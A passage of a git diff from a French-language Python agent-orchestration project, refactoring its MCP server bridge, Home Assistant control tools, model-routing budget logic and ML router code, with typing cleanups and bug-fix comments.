AsyncExitStack() - self.sessions: Dict[str, ClientSession] = {} - + self.sessions: dict[str, ClientSession] = {} + async def start(self, registry: ToolRegistry, user_prompt: str = "") -> None: """ Lit mcp_config.json, détermine conditionnellement les serveurs à démarrer, @@ -30,53 +40,53 @@ async def start(self, registry: ToolRegistry, user_prompt: str = "") -> None: paths_to_try = [] if self.config_path: paths_to_try.append(self.config_path) - + paths_to_try.extend([ os.path.join(os.path.expanduser("~"), ".gemini", "antigravity-ide", "mcp_config.json"), os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "mcp_config.json"), "/config/moteur-master/mcp_config.json" ]) - + resolved_path = None for path in paths_to_try: if path and os.path.exists(path): resolved_path = path break - + if not resolved_path: logger.warning(f"[MCP Bridge] Fichier de config MCP introuvable. Tentés : {paths_to_try}") return - + logger.info(f"[MCP Bridge] Fichier de config MCP résolu : {resolved_path}") try: - with open(resolved_path, "r", encoding="utf-8") as f: + with open(resolved_path, encoding="utf-8") as f: config = json.load(f) except Exception as e: logger.error(f"[MCP Bridge] Erreur lors de la lecture de la config MCP : {e}") return - + mcp_servers = config.get("mcpServers", {}) if not mcp_servers: logger.warning("[MCP Bridge] Aucun serveur MCP défini dans la configuration.") return - + # --- FILTRAGE CONDITIONNEL MCP (R2.1) --- servers_to_start = set() - + # Charger les règles d'activation rules_path = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "mcp_activation_rules.json") rules = {} if os.path.exists(rules_path): try: - with open(rules_path, "r", encoding="utf-8") as f: + with open(rules_path, encoding="utf-8") as f: rules = json.load(f) logger.info(f"[MCP Bridge] Règles d'activation chargées depuis : {rules_path}") except Exception as re: logger.warning(f"[MCP Bridge] Impossible de charger les règles d'activation : {re}") - + default_servers = rules.get("default", []) servers_to_start.update(default_servers) - + if user_prompt: logger.info(f"[MCP Bridge] Analyse du prompt pour l'activation conditionnelle MCP : '{user_prompt[:60]}...'") user_prompt_lower = user_prompt.lower() @@ -89,27 +99,27 @@ async def start(self, registry: ToolRegistry, user_prompt: str = "") -> None: servers_to_start.update(activate) else: logger.info("[MCP Bridge] Aucun prompt fourni. Démarrage des serveurs MCP par défaut uniquement.") - + logger.info(f"[MCP Bridge] Liste des serveurs MCP cibles à démarrer : {list(servers_to_start)}") - + for server_name, server_config in mcp_servers.items(): # Éviter de s'appeler de façon récursive if server_name in ["tab5-engine", "tab5_engine"]: continue - + # Filtrer selon l'activation conditionnelle if server_name not in servers_to_start: logger.debug(f"[MCP Bridge] Serveur '{server_name}' désactivé (non requis pour cette tâche).") continue - + command = server_config.get("command") args = server_config.get("args", []) env_override = server_config.get("env", {}) - + if not command: logger.warning(f"[MCP Bridge] Commande absente pour le serveur '{server_name}', ignoré.") continue - + # --- ADAPTATION DES COMMANDES ET ARGUMENTS POUR LINUX --- is_windows = (sys.platform == 'win32' or os.name == 'nt') if not is_windows: @@ -118,7 +128,7 @@ async def start(self, registry: ToolRegistry, user_prompt: str = "") -> None: command = command[:-4] elif command.endswith(".exe"): command = command[:-4] - + # 2. Adapter les arguments new_args = [] for arg in args: @@ -133,14 +143,14 @@ async def start(self, registry: ToolRegistry, user_prompt: str = "") -> None: new_args.append(arg) args = new_args logger.info(f"[MCP Bridge] Linux Adaptation pour '{server_name}' -> command: '{command}', args: {args}") - + # Préparation des variables d'environnement système fusionnées env = os.environ.copy() if env_override: env.update(env_override) - + logger.info(f"[MCP Bridge] Tentative de connexion au serveur MCP '{server_name}'...") - + try: # Configuration des paramètres stdio pour le processus fils server_params = StdioServerParameters( @@ -148,42 +158,42 @@ async def start(self, registry: ToolRegistry, user_prompt: str = "") -> None: args=args, env=env ) - + # Entrer dans le gestionnaire de contexte stdio (lancement du processus) avec un timeout de 8 secondes try: read_stream, write_stream = await asyncio.wait_for( self.exit_stack.enter_async_context(stdio_client(server_params)), timeout=8.0 ) - + # Entrer dans la session client avec un timeout de 5 secondes session = await asyncio.wait_for( self.exit_stack.enter_async_context(ClientSession(read_stream, write_stream)), timeout=5.0 ) - except asyncio.TimeoutError: + except TimeoutError: logger.error(f"[MCP Bridge] Timeout lors du lancement du processus ou de la session client pour '{server_name}'. Le serveur a été ignoré.") continue - + # Initialiser le protocole MCP avec le serveur (avec timeout de 5 secondes, R2.2) try: await asyncio.wait_for(session.initialize(), timeout=5.0) self.sessions[server_name] = session logger.info(f"[MCP Bridge] Serveur '{server_name}' connecté et initialisé.") - except asyncio.TimeoutError: + except TimeoutError: logger.error(f"[MCP Bridge] Timeout (5s) lors du handshake d'initialisation avec '{server_name}'. Le serveur a été ignoré.") continue - + # Récupérer les outils exposés par ce serveur tools_resp = await session.list_tools() tools = getattr(tools_resp, "tools", []) if hasattr(tools_resp, "tools") else tools_resp - + logger.info(f"[MCP Bridge] '{server_name}' expose {len(tools)} outil(s). Enregistrement...") - + for tool in tools: # Génération d'un nom unique préfixé (ex: mcp_sqlite_ha_query) registry_name = f"mcp_{server_name.replace('-', '_')}_{tool.name}" - + # Factory de wrapper pour capturer la bonne session et le nom d'outil d'origine def make_wrapper(s: ClientSession, orig_name: str, s_name: str) -> Callable: async def wrapper(**kwargs) -> str: @@ -196,11 +206,11 @@ async def wrapper(**kwargs) -> str: kwargs[k] = "H:\\" + v[3:] elif v.lower().startswith("e:/"): kwargs[k] = "H:/" + v[3:] - + logger.info(f"[MCP Bridge] Exécution outil MCP '{orig_name}' sur le serveur '{s_name}' avec {kwargs}") try: result = await s.call_tool(orig_name, arguments=kwargs) - + # Concaténation propre du contenu de retour content_parts = [] for content in result.content: @@ -210,15 +220,15 @@ async def wrapper(**kwargs) -> str: content_parts.append(content["text"]) else: content_parts.append(str(content)) - + return "\n".join(content_parts) except Exception as ex: logger.error(f"[MCP Bridge] Erreur lors de l'exécution de '{orig_name}' : {ex}") return f"Erreur lors de l'appel à l'outil MCP '{orig_name}' : {str(ex)}" return wrapper - + wrapper_func = make_wrapper(session, tool.name, server_name) - + # Enregistrement dans le ToolRegistry étendu if hasattr(registry, "register_mcp_tool"): registry.register_mcp_tool( @@ -233,11 +243,11 @@ async def wrapper(**kwargs) -> str: func=wrapper_func, description=tool.description or f"Outil MCP issu du serveur {server_name}" ) - + except Exception as e: logger.error(f"[MCP Bridge] Impossible de démarrer le serveur MCP '{server_name}' : {e}") continue - + async def stop(self) -> None: """Arrête proprement tous les sous-processus et ferme les sessions.""" logger.info("[MCP Bridge] Fermeture de toutes les sessions MCP...") diff --git a/core/mcp_tools/homeassistant.py b/core/mcp_tools/homeassistant.py index 8b3f453..0fdae06 100644 --- a/core/mcp_tools/homeassistant.py +++ b/core/mcp_tools/homeassistant.py @@ -8,6 +8,7 @@ import logging import os +from core.ha_token import get_ha_token # [T239] lecture centralisée du token HA from core.mcp_app import mcp logger = logging.getLogger("mcp_server.homeassistant") @@ -39,10 +40,10 @@ async def search_ha_entities( # Récupérer les entités HA via l'API ha_url = os.environ.get("HA_URL", "http://${HA_HOST:-192.168.1.x}:8123") - ha_token = os.environ.get("HA_TOKEN", "") + ha_token = get_ha_token() if not ha_token: - return "❌ Variable HA_TOKEN non configurée dans .env. Impossible de contacter Home Assistant." + return "❌ Token Home Assistant non configuré (HASS_TOKEN/HA_TOKEN) dans .env. Impossible de contacter Home Assistant." # [P0-1.5] passer par la session TLS centralisée, sinon HA en HTTPS échoue. from core.ha_tls import ha_requests_session @@ -160,13 +161,13 @@ async def execute_ha_action( Idéal pour allumer/éteindre une lumière, régler un thermostat, déclencher une scène. Exemples d'appel : - execute_ha_action("light.salon", "light.turn_on", '{"brightness": 200}') + execute_ha_action("light.living_room", "light.turn_on", '{"brightness": 200}') execute_ha_action("climate.chambre", "climate.set_temperature", '{"temperature": 21}') execute_ha_action("scene.cinema", "scene.turn_on") execute_ha_action("switch.prise_bureau", "switch.toggle") Args: - entity_id: Identifiant complet de l'entité HA (ex: "light.salon_principal"). + entity_id: Identifiant complet de l'entité HA (ex: "light.living_room_principal"). service: Service HA à appeler (ex: "light.turn_on", "climate.set_temperature"). service_data: JSON string des données du service (optionnel). Défaut: "{}". """ @@ -176,10 +177,10 @@ async def execute_ha_action( import requests ha_url = os.environ.get("HA_URL", os.environ.get("HASS_URL", "http://${HA_HOST:-192.168.1.x}:8123")) - ha_token = os.environ.get("HA_TOKEN", os.environ.get("HASS_TOKEN", "")) + ha_token = get_ha_token() if not ha_token: - return "❌ Variable HA_TOKEN (ou HASS_TOKEN) non configurée dans .env." + return "❌ Token Home Assistant non configuré (HASS_TOKEN/HA_TOKEN) dans .env." # Parser le domaine depuis le service (ex: "light.turn_on" → domain="light", svc="turn_on") if "." in service: @@ -198,7 +199,7 @@ async def execute_ha_action( validate_service_data, ) if not is_valid_ha_entity_id(entity_id): - return f"❌ entity_id invalide : {entity_id!r} (attendu : domaine.objet, ex: light.salon)." + return f"❌ entity_id invalide : {entity_id!r} (attendu : domaine.objet, ex: light.living_room)." if not is_valid_ha_domain(domain): return f"❌ domaine HA invalide : {domain!r}." if not is_valid_ha_service_name(svc_name): diff --git a/core/mcp_tools/memory.py b/core/mcp_tools/memory.py index 588a51c..e95e72d 100644 --- a/core/mcp_tools/memory.py +++ b/core/mcp_tools/memory.py @@ -37,25 +37,25 @@ async def get_models_catalog( from core.models_db import get_all_models models = get_all_models() - + if not models: return "❌ Aucun modèle trouvé dans models_registry.db. Exécutez seed_models_db.py." - + # Filtrage if filter_provider: models = [m for m in models if filter_provider.lower() in (m.get("provider_id", "") or "").lower()] if filter_capability: models = [m for m in models if filter_capability.lower() in (m.get("capabilities", "") or "").lower()] - + # Formatage lines = [f"📚 **{len(models)} modèle(s)** dans le catalogue\n"] - + # Grouper par provider by_provider = {} for m in models: pid = m.get("provider_id", "inconnu") by_provider.setdefault(pid, []).append(m) - + for provider, provider_models in by_provider.items(): lines.append(f"\n### {provider} ({len(provider_models)} modèles)") for m in provider_models: @@ -64,11 +64,11 @@ async def get_models_catalog( status = "✅" if m.get("status") == "active" else "❌" ctx = m.get("context_window", 0) or 0 ctx_str = f"{ctx:,}" if ctx else "?" - + cost_str = f"${cost_in:.2f}/${cost_out:.2f}" if (cost_in + cost_out) > 0 else "GRATUIT" - + lines.append(f" {status} **{m.get('model_id', '?')}** | Ctx: {ctx_str} | Coût: {cost_str} | {m.get('specialty', '')}") - + return "\n".join(lines) except ImportError: return "❌ Module core/models_db.py non trouvé. Le catalogue SQLite n'est pas encore initialisé." @@ -114,14 +114,14 @@ async def rag_search( return "❌ Requête vide." backend = os.environ.get("RAG_BACKEND", "LOCAL").upper() - + if backend == "VERTEX": # [T92] Adapter GCP Vertex AI (Réversibilité) project_id = os.environ.get("GOOGLE_CLOUD_PROJECT", "") data_store = os.environ.get("VERTEX_DATA_STORE_ID", "") if not project_id or not data_store: return "⚠️ RAG Vertex non configuré (manque GOOGLE_CLOUD_PROJECT ou VERTEX_DATA_STORE_ID). Repassez RAG_BACKEND=LOCAL." - + try: from google.cloud import discoveryengine client = discoveryengine.SearchServiceClient() @@ -177,7 +177,7 @@ async def rag_search( lines.append(f" {content}\n") return "\n".join(lines) - except asyncio.TimeoutError: + except TimeoutError: return "❌ Timeout (15s) lors de la recherche RAG — le service (ChromaDB/Vertex) ne répond pas." except Exception as e: return f"❌ Erreur recherche RAG : {e}" @@ -201,6 +201,7 @@ async def query_token_usage( group_by: Regroupement (défaut: "model"). Options: "model", "channel", "session". """ import asyncio + from core.runtime_db import get_connection # Colonne de regroupement (liste blanche → pas d'injection possible). @@ -345,7 +346,7 @@ async def list_available_models( if show_status: lines.append("\n> 🟢 Circuit fermé (disponible) | 🔴 Circuit ouvert (temporairement indisponible)") - lines.append(f"\n💡 **Conseil** : Utilise `query_llm_direct(prompt, model='deepseek-chat')` pour un appel direct.") + lines.append("\n💡 **Conseil** : Utilise `query_llm_direct(prompt, model='deepseek-chat')` pour un appel direct.") return "\n".join(lines) # ═══════════════════════════════════════════════════════ @@ -383,6 +384,7 @@ async def query_runtime( query_runtime("SELECT model_name, domain, elo_score FROM model_elo_scores ORDER BY elo_score DESC", 20) """ import asyncio + from core.runtime_db import get_connection, get_db_path limit = max(1, min(int(limit or 100), 1000)) diff --git a/core/mcp_tools/orchestrator.py b/core/mcp_tools/orchestrator.py index 2f46b45..50f740a 100644 --- a/core/mcp_tools/orchestrator.py +++ b/core/mcp_tools/orchestrator.py @@ -10,21 +10,17 @@ d'etat entre process. """ import logging -import os -import json -from core.mcp_app import mcp -from core.engine import Engine -from core.router import Router -from core.llm_gateway import LLMGateway -from tools.tool_registry import ToolRegistry +from agents.antigravity_agent import AntigravityAgent from agents.executor import ExecutorAgent from agents.planner import PlannerAgent -from agents.antigravity_agent import AntigravityAgent -from tools.system import read_file, write_file, validate_config_yaml -from tools.terminal import run_terminal_command -from tools.api import call_api +from core.engine import Engine +from core.llm_gateway import LLMGateway +from core.mcp_app import mcp +from core.router import Router from memory.context_manager import ContextManager +from tools.registry_setup import register_base_tools, register_extended_tools +from tools.tool_registry import ToolRegistry logger = logging.getLogger("mcp_server.orchestrator") @@ -58,36 +54,28 @@ def setup_engine(session_id: str = "mcp_session"): gateway = get_gateway() registry = ToolRegistry() context_manager = ContextManager(llm_gateway=gateway) - - # Enregistrement des outils - registry.register("read_file", read_file, "Lit le contenu d'un fichier texte local.") - registry.register("write_file", write_file, "Crée ou modifie un fichier texte local.") - registry.register("run_terminal_command", run_terminal_command, "Exécute une commande système sur la machine hôte.") - registry.register("call_api", call_api, "Effectue une requête HTTP (GET/POST) vers une API distante.") - registry.register("validate_config_yaml", validate_config_yaml, "Valide la syntaxe et les dépendances d'un fichier YAML ESPHome.") - - # Initialisation des agents selon la stratégie de ventilation et config.json - config_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "config.json") - config = { - "planner_model": "deepseek-reasoner", - "executor_model": "deepseek-chat", - "antigravity_model": "gemini" - } - if os.path.exists(config_path): - try: - with open(config_path, "r", encoding="utf-8") as f: - config.update(json.load(f)) - except Exception as e: - logging.error(f"Erreur chargement config.json: {e}") + # [#T213] Enregistrement factorisé (partagé avec core/factory.py et + # services/pipeline_service.py) : le serveur MCP gagne Git Safety et les + # familles étendues Workspace/Cloud/Imagen, absentes ici avant (divergence + # silencieuse des 3 sites de registry). + register_base_tools(registry) + register_extended_tools(registry) + + # [P0-audit-2026-07-09] config.json racine (source unique, cf. core/factory.py) + # au lieu d'un core/mcp_tools/config.json qui n'a jamais existé sur disque : ce + # fallback codé en dur tournait en permanence déconnecté de la config réelle + # (modifier la config via l'IHM ne changeait pas les modèles utilisés ici). + from core.llm_gateway import load_config + config = load_config() from agents.ha_agent import HACommandAgent - executor = ExecutorAgent(llm_gateway=gateway, tool_registry=registry, provider_name=config["executor_model"]) - planner = PlannerAgent(llm_gateway=gateway, provider_name=config["planner_model"]) - antigravity_agent = AntigravityAgent(llm_gateway=gateway, provider_name=config["antigravity_model"]) - ha_agent = HACommandAgent(llm_gateway=gateway, tool_registry=registry, provider_name=config["executor_model"]) - + executor = ExecutorAgent(llm_gateway=gateway, tool_registry=registry, provider_name=config.get("executor_model", "automatique")) + planner = PlannerAgent(llm_gateway=gateway, provider_name=config.get("planner_model", "fort")) + antigravity_agent = AntigravityAgent(llm_gateway=gateway, provider_name=config.get("antigravity_model", "fort")) + ha_agent = HACommandAgent(llm_gateway=gateway, tool_registry=registry, provider_name=config.get("executor_model", "automatique")) + # Assemblage engine = Engine(session_id=session_id, context_manager=context_manager) engine.register_agent(executor) @@ -113,12 +101,16 @@ async def _run_engine_pipeline(task: str, session_id: str, planner_tier: str = N if planner_tier: # L'attribut est 'agents' (public), pas '_agents' (privé) + # [P0-audit-2026-07-09] Ancien hasattr(agent, "_provider_name") (avec + # underscore) : PlannerAgent stocke l'attribut SANS underscore + # (self.provider_name, agents/planner.py) -> ce hasattr était toujours + # faux, l'override de modèle demandé ici n'avait jamais d'effet. for agent in engine.agents.values(): - if agent.name == "planner" and hasattr(agent, "_provider_name"): - agent._provider_name = planner_tier + if agent.name == "planner" and hasattr(agent, "provider_name"): + agent.provider_name = planner_tier logger.info(f"[DELEGATION] Modèle du planificateur configuré sur : {planner_tier}") - initial_payload, starting_agent = await router.analyze_request(task) + initial_payload, starting_agent = await router.analyze_request(task, session_id=session_id) return await engine.run(initial_payload, starting_agent) # ═══════════════════════════════════════════════════════ @@ -141,14 +133,14 @@ async def run_tab5_agent(user_request: str) -> str: result_summary.append("=== Trace de l'exécution ===") for idx, update in enumerate(final_state.history): result_summary.append(f"[{idx+1}] Agent '{update.agent_name}' ({update.status}) : {str(update.result_data)[:300]}...") - + result_summary.append("\n=== Résultat Final ===") if final_state.history: last_result = final_state.history[-1].result_data result_summary.append(str(last_result)) else: result_summary.append("Aucun résultat généré.") - + return "\n".join(result_summary) except Exception as e: return f"Erreur lors de l'exécution du moteur Tab5 : {str(e)}" @@ -166,14 +158,15 @@ async def query_deepseek( """ Appel direct à un modèle DeepSeek (bypass le pipeline complet du moteur). Idéal pour du raisonnement low-cost ou des tâches algorithmiques. - - Modèles disponibles : - - deepseek-chat (alias deepseek-v4-flash) : $0.14/$0.28 par M tokens — ultra économique - - deepseek-reasoner (R1) : $0.55/$2.19 — Chain of Thought, champion algorithmique - - deepseek-v4-pro : $0.435/$0.87 — raisonnement avancé - - Solde compte : ~$19.95 USD. - + + Modèles disponibles et tarification dynamique (cf. core/pricing.py) : + - deepseek-chat (alias deepseek-v4-flash) : Tarifs dynamiques avec pic/hors-pic + - deepseek-reasoner (R1) : Tarifs dynamiques avec pic/hors-pic (Chain of Thought) + - deepseek-v4-pro : Tarifs dynamiques avec pic/hors-pic + + Les coûts d'inférence en heure de pic sont doublés à partir du 15 juillet 2026. + Référez-vous à core/pricing.py pour le calcul exact des coûts en temps réel. + Args: prompt: Le prompt pour DeepSeek. model: Modèle DeepSeek (défaut: deepseek-chat). @@ -181,11 +174,11 @@ async def query_deepseek( temperature: Température de génération (défaut: 0.7). """ gateway = get_gateway() - + try: - # Chercher le provider DeepSeek correspondant - provider = gateway.providers.get(model) - if not provider: + # Chercher la clé du provider DeepSeek correspondant + resolved = model if model in gateway.providers else None + if not resolved: # Essayer les alias courants alias_map = { "deepseek-chat": "deepseek-chat", @@ -194,21 +187,27 @@ async def query_deepseek( "deepseek-v4-pro": "deepseek-v4-pro", "r1": "deepseek-reasoner", } - resolved = alias_map.get(model.lower(), model) - provider = gateway.providers.get(resolved) - - if not provider: + candidate = alias_map.get(model.lower(), model) + if candidate in gateway.providers: + resolved = candidate + + if not resolved: available = [k for k in gateway.providers if "deepseek" in k.lower()] return f"❌ Modèle '{model}' non trouvé. Providers DeepSeek disponibles : {available}" - - # generate() attend (system_prompt, user_prompt, **kwargs) - # Avant le fix : un seul argument → TypeError 'missing positional argument' - import asyncio + + # [#T212] get_provider() (et non gateway.providers[...]) : l'appel passe + # par le wrapping Circuit Breaker commun au lieu de le contourner. + provider = gateway.get_provider(resolved) + + # generate_async() attend (system_prompt, user_prompt, **kwargs) + # [#T123] Cohérence post-migration D5 : les autres outils utilisent + # generate_async() (httpx natif pour les providers OpenAI-compat), pas + # asyncio.to_thread(generate, ...) qui force un thread bloquant. sys_prompt = system_prompt if system_prompt else "Tu es un assistant expert." - result = await asyncio.to_thread( - provider.generate, sys_prompt, prompt, temperature=temperature + result = await provider.generate_async( + sys_prompt, prompt, temperature=temperature ) - + return f"{result}\n\n---\n📊 Modèle: {model} | DeepSeek API directe" except Exception as e: return f"❌ Erreur DeepSeek ({model}): {e}" @@ -226,10 +225,10 @@ async def get_engine_status() -> str: Ne lance aucune inférence — lecture pure des données internes. """ gateway = get_gateway() - + try: status_parts = ["🔧 **État du Moteur Agents**\n"] - + # Circuit Breakers try: cb_status = gateway.get_circuit_breakers_status() @@ -244,7 +243,7 @@ async def get_engine_status() -> str: status_parts.append(f" 📊 Total : {cb_status.get('total_providers', 0)} providers, {cb_status.get('total_circuit_breakers', 0)} CB actifs") except Exception as e: status_parts.append(f"⚠️ Circuit Breakers non disponibles : {e}") - + # Token Tracker try: from core.token_tracker import get_global_summary @@ -258,24 +257,24 @@ async def get_engine_status() -> str: status_parts.append(f" - {m}: {data.get('total_tokens', 0):,} tokens | ${data.get('cost_usd', 0):.4f}") except Exception as e: status_parts.append(f"⚠️ Token Tracker non disponible : {e}") - + # KeyPool (si disponible via le gateway) try: from core.key_pool import GeminiKeyPool pool = GeminiKeyPool() pool_stats = pool.get_stats() - status_parts.append(f"\n### KeyPool Gemini") + status_parts.append("\n### KeyPool Gemini") status_parts.append(f" 🔑 Clés Free Tier : {pool_stats.get('available', '?')}/{pool_stats.get('total', '?')} disponibles") status_parts.append(f" 💳 Clé payante : {'✅' if pool_stats.get('has_paid') else '❌'}") except Exception: pass # KeyPool optionnel - + # Providers configurés - status_parts.append(f"\n### Providers Configurés") + status_parts.append("\n### Providers Configurés") for name, provider in gateway.providers.items(): provider_type = type(provider).__name__ status_parts.append(f" - **{name}** → {provider_type}") - + return "\n".join(status_parts) except Exception as e: return f"❌ Erreur status : {e}" @@ -284,14 +283,28 @@ async def get_engine_status() -> str: # Helpers de routage partagés (recommandation + délégation, #T40) # ═══════════════════════════════════════════════════════ -# Paniers de tiers du catalogue dynamique par contrainte budgétaire. -_BUDGET_TIERS = { - "free": ["local", "free"], - "cheap": ["leger", "moyen"], - "best": ["pro", "fort"], +# Paniers de modèles du catalogue dynamique par contrainte budgétaire. +# [#T246] Deux axes distincts du catalogue, à ne pas mélanger : +# - la colonne `tier` (économie : local/free/subscription/paid) ; +# - la colonne `routing_tier` (capacité : leger/moyen/fort). +# Le panier "free" filtre sur `tier` : aucun modèle n'a routing_tier 'free'/'local', +# le filtrer sur routing_tier le vidait structurellement (les outils MCP répondaient +# « catalogue free vide » alors qu'il est plein). +_BUDGET_BASKETS = { + "free": {"catalog_tiers": ["local", "free"]}, + "cheap": {"routing_tiers": ["leger", "moyen"]}, + "best": {"routing_tiers": ["fort"]}, } +def _describe_basket(effective_budget: str) -> str: + """Description lisible d'un panier pour l'en-tête de recommandation.""" + basket = _BUDGET_BASKETS.get(effective_budget, _BUDGET_BASKETS["cheap"]) + if "catalog_tiers" in basket: + return "tier catalogue : " + ", ".join(basket["catalog_tiers"]) + return "routing_tier : " + ", ".join(basket["routing_tiers"]) + + def _effective_budget(budget_constraint: str, routing_type: str) -> str: """Résout le budget effectif ('auto' → panier selon le type de tâche détecté).""" if budget_constraint != "auto": @@ -309,27 +322,36 @@ def _catalog_models_for_budget(effective_budget: str) -> list: ordonnés par cascade_priority (le plus prioritaire d'abord), dédupliqués. Source unique partagée par `get_routing_recommendation` et `delegate_to_gateway`. + [#T246] Le panier "free" filtre sur la colonne `tier` (économie), les paniers + "cheap"/"best" sur `routing_tier` (capacité) — voir `_BUDGET_BASKETS`. """ - from core.models_db import get_models_for_tier, get_model_cost - tiers = _BUDGET_TIERS.get(effective_budget, _BUDGET_TIERS["cheap"]) + from core.models_db import get_model_cost, get_models_for_catalog_tiers, get_models_for_tier + basket = _BUDGET_BASKETS.get(effective_budget, _BUDGET_BASKETS["cheap"]) + if "catalog_tiers" in basket: + modeles = get_models_for_catalog_tiers(basket["catalog_tiers"]) + else: + modeles = [] + for tier in basket["routing_tiers"]: + modeles.extend(get_models_for_tier(tier)) + # get_models_for_tier trie déjà par cascade_priority ; en concaténant plusieurs + # tiers (ou en cas de doublon), on réordonne et déduplique par sécurité. + modeles.sort(key=lambda m: m.get("cascade_priority") or 999) picked, seen = [], set() - for tier in tiers: - # get_models_for_tier trie déjà par cascade_priority (le plus prioritaire d'abord). - for m in get_models_for_tier(tier): - mid = m.get("id") - if not mid or mid in seen: - continue - seen.add(mid) - cost = get_model_cost(mid) or {} - ci, co = cost.get("cost_input_per_m"), cost.get("cost_output_per_m") - cur = cost.get("currency", "USD") - cost_str = "0$ (local/gratuit)" if (ci is None and co is None) else f"{ci or 0:.2f}/{co or 0:.2f} {cur}/M" - picked.append({ - "id": mid, "tier": m.get("tier"), "cost": cost_str, - "is_free": (ci is None and co is None) or (not ci and not co), - "speciality": m.get("speciality") or "", - "use": m.get("recommended_use") or "", - }) + for m in modeles: + mid = m.get("id") + if not mid or mid in seen: + continue + seen.add(mid) + cost = get_model_cost(mid) or {} + ci, co = cost.get("cost_input_per_m"), cost.get("cost_output_per_m") + cur = cost.get("currency", "USD") + cost_str = "0$ (local/gratuit)" if (ci is None and co is None) else f"{ci or 0:.2f}/{co or 0:.2f} {cur}/M" + picked.append({ + "id": mid, "tier": m.get("tier"), "cost": cost_str, + "is_free": (ci is None and co is None) or (not ci and not co), + "speciality": m.get("speciality") or "", + "use": m.get("recommended_use") or "", + }) return picked @@ -339,15 +361,23 @@ def _resolve_gateway_provider(gateway, model_id: str): puis recherche partielle (ex: 'deepseek' → 'deepseek-chat'). Partagé par query_llm_direct et delegate_to_gateway. + [#T212] Le provider retourné vient de gateway.get_provider() (cascade d'un + seul élément) : l'appel passe par le wrapping Circuit Breaker commun au + lieu de le contourner via un accès brut à gateway.providers. + Retourne (clé_résolue, provider) ou (model_id, None) si introuvable. """ - provider = gateway.providers.get(model_id) - if provider: - return model_id, provider - for key in gateway.providers: - if model_id.lower() in key.lower(): - return key, gateway.providers[key] - return model_id, None + resolved_key = None + if model_id in gateway.providers: + resolved_key = model_id + else: + for key in gateway.providers: + if model_id.lower() in key.lower(): + resolved_key = key + break + if resolved_key is None: + return model_id, None + return resolved_key, gateway.get_provider(resolved_key) @@ -370,40 +400,39 @@ async def get_routing_recommendation( Args: task_description: Description de la tâche à accomplir. - budget_constraint: Contrainte budgétaire (défaut: "auto"). Options: "free" (tiers local/free), "cheap" (tiers leger/moyen), "best" (tiers pro/fort), "auto" (choix selon le type de tâche). + budget_constraint: Contrainte budgétaire (défaut: "auto"). Options: "free" (tier catalogue local/free), "cheap" (routing_tier leger/moyen), "best" (routing_tier fort), "auto" (choix selon le type de tâche). """ try: router = get_router() # Analyser la requête payload, agent_name = await router.analyze_request(task_description) - + metadata = payload.metadata or {} routing_type = metadata.get("routing_type", "standard") - + # Construire la recommandation lines = [f"🎯 **Recommandation de routage** pour :\n> \"{task_description[:100]}...\"\n"] - - lines.append(f"### Analyse") + + lines.append("### Analyse") lines.append(f" - **Type de tâche** : {routing_type}") lines.append(f" - **Agent recommandé** : {agent_name}") - + if metadata.get("multi_intent"): lines.append(f" - **Multi-intent** : {len(metadata.get('sub_intents', []))} sous-tâches détectées") - + # Sélection des modèles dans le catalogue dynamique selon le budget → tiers # (logique partagée avec delegate_to_gateway, #T40). import asyncio effective_budget = _effective_budget(budget_constraint, routing_type) - tiers = _BUDGET_TIERS.get(effective_budget, _BUDGET_TIERS["cheap"]) picked = await asyncio.to_thread(_catalog_models_for_budget, effective_budget) header = f"\n### Modèles recommandés (budget: {budget_constraint}" if budget_constraint == "auto": header += f" → {effective_budget}" - header += f", tiers: {', '.join(tiers)})" + header += f", {_describe_basket(effective_budget)})" lines.append(header) if not picked: @@ -444,7 +473,7 @@ async def get_routing_matrix( import asyncio def _run() -> str: - from core.models_db import get_routing_rules, get_model_cost + from core.models_db import get_model_cost, get_routing_rules rules = get_routing_rules() if not rules: @@ -521,13 +550,13 @@ async def delegate_complex_reasoning( ) result_parts = [f"🏆 **Résolution de la tâche déléguée terminée** (planificateur: {model_tier})\n"] - + if final_state.history: last_result = final_state.history[-1].result_data result_parts.append(str(last_result)) else: result_parts.append("Aucun résultat n'a été produit par le moteur.") - + return "\n".join(result_parts) except Exception as e: return f"❌ Erreur lors de la délégation au moteur : {e}" @@ -629,8 +658,8 @@ async def delegate_to_gateway( Args: prompt: Le prompt / la tâche à déléguer. - budget_constraint: "auto" (choix selon le type de tâche, défaut), "free" (local/free - uniquement), "cheap" (léger/moyen), "best" (pro/fort). + budget_constraint: "auto" (choix selon le type de tâche, défaut), "free" (tier catalogue + local/free uniquement), "cheap" (routing_tier léger/moyen), "best" (routing_tier fort). system_prompt: Prompt système optionnel. temperature: Température de génération (0.0 = déterministe). max_tokens: Nombre max de tokens en sortie. diff --git a/core/ml_router.py b/core/ml_router.py index 4a9beb6..1069bd6 100644 --- a/core/ml_router.py +++ b/core/ml_router.py @@ -22,7 +22,7 @@ import time from collections import Counter from pathlib import Path -from typing import Optional, Tuple, Dict, List, Any +from typing import Any, Optional import aiohttp import numpy as np @@ -48,10 +48,10 @@ def _prompt_hash(prompt: str) -> str: def build_training_pairs( - sessions: List[Dict[str, Any]], - hash_to_category: Dict[str, str], + sessions: list[dict[str, Any]], + hash_to_category: dict[str, str], min_per_class: int = 2, -) -> Tuple[List[str], List[str]]: +) -> tuple[list[str], list[str]]: """ Construit le jeu (textes, labels) pour l'entraînement du ML Router. @@ -65,7 +65,7 @@ def build_training_pairs( - Retire les classes ayant < `min_per_class` échantillons (sinon le split stratifié et l'apprentissage LogisticRegression échouent). """ - pairs: List[Tuple[str, str]] = [] + pairs: list[tuple[str, str]] = [] for s in sessions: if s.get("status") != "success": continue @@ -255,8 +255,8 @@ async def train(self, min_samples: int = 50) -> dict: try: from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.linear_model import LogisticRegression - from sklearn.model_selection import train_test_split from sklearn.metrics import accuracy_score + from sklearn.model_selection import train_test_split except ImportError: logger.error("[ML ROUTER] scikit-learn non disponible") return {"error": "scikit-learn non installé (pip install scikit-learn)"} @@ -265,14 +265,14 @@ async def train(self, min_samples: int = 50) -> dict: # Texte = sessions.objective ; label = routing_decisions.dominant_category ; # reliés par le hash du prompt (voir build_training_pairs). try: - from core.session_history import get_sessions from core.runtime_db import get_connection + from core.session_history import get_sessions sessions = await asyncio.to_thread(get_sessions, limit=2000) except ImportError: logger.error("[ML ROUTER] module session_history introuvable") return {"error": "session_history manquant"} - def _load_hash_to_category() -> 